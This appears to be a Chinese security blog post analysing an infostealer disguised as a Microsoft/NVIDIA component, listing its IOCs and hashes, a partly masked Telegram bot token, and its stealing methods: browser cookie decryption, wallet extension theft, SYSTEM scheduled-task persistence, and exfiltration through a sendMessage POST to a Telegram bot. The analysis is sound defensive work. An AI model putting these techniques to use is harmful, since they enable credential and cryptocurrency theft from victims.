惊心!歹毒!遭遇【VS编译时触发后门】保卫战(四)---窃取虚拟货币后门分析
原创
MicroPest
MicroPest
MicroPest
2026年10月9日 10:51
安徽
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
在《惊心!歹毒!遭遇【VS编译时触发后门】保卫战(二)》的最后,我们提到了这个后门居然还准备了一套窃取虚拟货币的后门程序,同是electron的asar模式,这篇我们来分析这个窃取程序。
一、后门概况
这套程序名字叫“NVIDIAContainer”,位于“C:\Users\Administrator\AppData\Local\Microsoft\Vault\UserRoamingTiles\NVIDIAContainer”。
连图标伪装得都一样。
resource目录下多了一个config.json配置文件。
二、具体分析
一句话定性:这是一个伪装成 Microsoft 官方组件的 Windows 信息窃取器(Infostealer,含加密货币钱包窃取),以 Telegram Bot 为 C2 外传通道。
(1)、config.json 的用途与功能
角色:加密的 Telegram C2 凭据容器。
*证据链闭合*:main.js 以 require(\"../config.json\") 加载 → 字段送入解密函数 → 解密后拼成 https://api.telegram.org/bot<TOKEN>/sendMessage。容器格式为 3 字节头 + 12 字节 IV + 密文 + 16 字节 GCM tag(AES-256-GCM,或 Windows DPAPI 双路径)。明文值无法静态还原(需 AES 密钥或受害机 DPAPI 上下文,未尝试破解)。
(2)、app.asar 的用途与功能
角色:该窃密程序的主体。
- 身份伪装
:package.json → name: \"microsoft-asistant\"(拼写错误)、description: \"Microsoft Control Center\"、空作者、license: ISC。微软无此产品线。承载目录同时冒用 Microsoft\\Vault 与 NVIDIAContainer。
* 代码混淆
:main.js(1.1 MB,webpack bundle + obfuscator.io:字符串数组轮转、自定义 base64 变体解码、控制流平坦化),刻意反分析。
* 实际能力(main.js 中大量明文常量佐证)
:
- 浏览器凭据窃取
— Chrome/Brave/Edge/Opera/Yandex 的 Login Data→passwords.db、Cookies、Local State(经 DPAPI 解出 os_crypt.encrypted_key,再 AES-256-GCM 解 v10/v20 Cookie)。
2. 加密货币钱包窃取
— 约 150 个钱包/认证器扩展 ID(MetaMask、Keplr、OKX、Bitwarden、LastPass、Authy…)+ 桌面钱包文件(Exodus/Electrum/Bitcoin/Monero/Ethereum keystore,含 seed 助记词)。
3. 其他账号
— Discord token、Steam、Roblox、FileZilla、EA。
4. 反沙箱
— 检测 VMware/VirtualBox/QEMU/KVM/Hyper-V 及 BIOS/RAM/GPU 特征。
5. 持久化
— schtasks /Create … /RL HIGHEST /RU SYSTEM(SYSTEM 级计划任务);node-hide-console-window 静默运行;elevate.exe 提权。
6. 外传
— Telegram Bot API(sendMessage + 文件上传),gofile.io 作大文件中转。
(3)、关键 IOC
- 主 C2
:https://api.telegram.org/bot<TOKEN>/sendMessage(Token 在 config.json 密文中)
* IP 探测
:http://api.ipify.org/、http://httpbin.org/ip
* 硬编码第三方 key
(家族指纹):api.hypixel.net/player?key=fef34e3d-72e3-44bf-9536-76ad25760a4a
* 文件中转
:gofile.io;账号校验域名 reddit/instagram/tiktok/spotify/roblox
* asar 声明哈希
:SHA256 80f29a7c7acc5c201083ca48c719f9b8f44614ad16ebfd25f425d11e645eab94
* 落地文件
:<profile>\\passwords.db、\\Games\\Steam Accounts\\*.txt、\\Games\\Roblox Accounts\\*.txt、\\Games\\Electronic Arts\\cookie.ini
* 样本文件哈希(app.asar):MD5 233381a45519e35538b61dc8be9c2b9a,SHA256 b5371193d53735f9b6988065824e8be08d63311a5bc17a17a0064d0bc40679ea
(4)、Token/Chat ID(隐去真实,用?代替)
- Token =
812??26??2:AAFAu???fAA7???nd-2uwLjD???QFL0_U3E - Chat ID =
-100314???28
(4-1)、Bot Token是 Telegram 官方分配给某个机器人账号的密钥,结构为 <bot_id>:<secret>:。
它的用途:任何持有这个 token 的程序,都能以这个机器人的身份调用 Telegram Bot API——无需用户名密码,token 本身就是全部权限。具体能做的事:
关键点:token 是攻击者单方持有的凭据。受害机上运行的恶意程序用它\"主动外联\"到 Telegram 服务器——这样恶意流量混在正常的 HTTPS 里,不依赖固定 IP/域名,隐蔽性强、难封堵。这就是 C2(命令与控制)通道。
(4-2)、Chat ID是 Telegram 里一个具体会话(聊天/群组)的编号。
它的用途:sendMessage 等 API 必须指定\"发给谁\",Chat ID 就是收件人地址。它告诉 Telegram:\"把这条消息投递到编号的这个群组里。\"
→ 这个群组就是攻击者接收窃取数据的信箱。
(4-3)、两者配合的完整逻辑
受害机(运行恶意程序) │ 用 Token 认证身份 │ 用 Chat ID 指定收件人 ▼POST https://api.telegram.org/bot<TOKEN>/sendMessage body: { chat_id: \"-10。。。\", text: \"<窃取的信息>\" } ▼Telegram 服务器 ▼攻击者的私密群组(收到受害者的凭据/钱包/账号信息)
*一句话*:Token 是\"以谁的身份发\",Chat ID 是\"发给谁\"。二者合起来 = 攻击者的一套匿名数据回传信箱。
(4-4)、这正是信息窃取器(Infostealer)的标准外传方式——用 Telegram Bot 当 C2,因为:
- 免注册、免服务器
:攻击者不用自己搭 C2 服务器,Telegram 免费提供;
2. 加密且合法
:走 Telegram 官方 HTTPS,流量看起来正常;
3. 易用
:手机上装个 Telegram 就能实时收到窃取的数据;
4. 难溯源
:Telegram 匿名注册,且 bot 可随时换 token。
三、config.json中的密文没有破解出来,可能需要结合动态分析来(需运行时密钥 / DPAPI 上下文)。
这个 token 是硬编码在 main.js 字符串数组里的内置后备 C2;而 config.json 里的 tbt/cd 是另一组(需运行时密钥解开的)凭据。也就是说,该样本至少准备了两个回传通道,即使其中一个被清理,另一个仍可工作。
四、下一步动作
| 封禁 token | 向 Telegram 官方(@BotFather 或 abuse 渠道)举报该 bot,使其失效——这是最直接的打击 |
| 加入 IOC 库 | token、Chat ID、api.telegram.org 作为检测规则(网络层/EDR) |
| 监测外联 | 在企业网络监控中,任何发往 api.telegram.org/bot<该token> 的流量即告警 |
| 不要主动连接 | 切勿用该 token 去调用 API 或访问该群组——那会向攻击者暴露你已发现样本 |
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论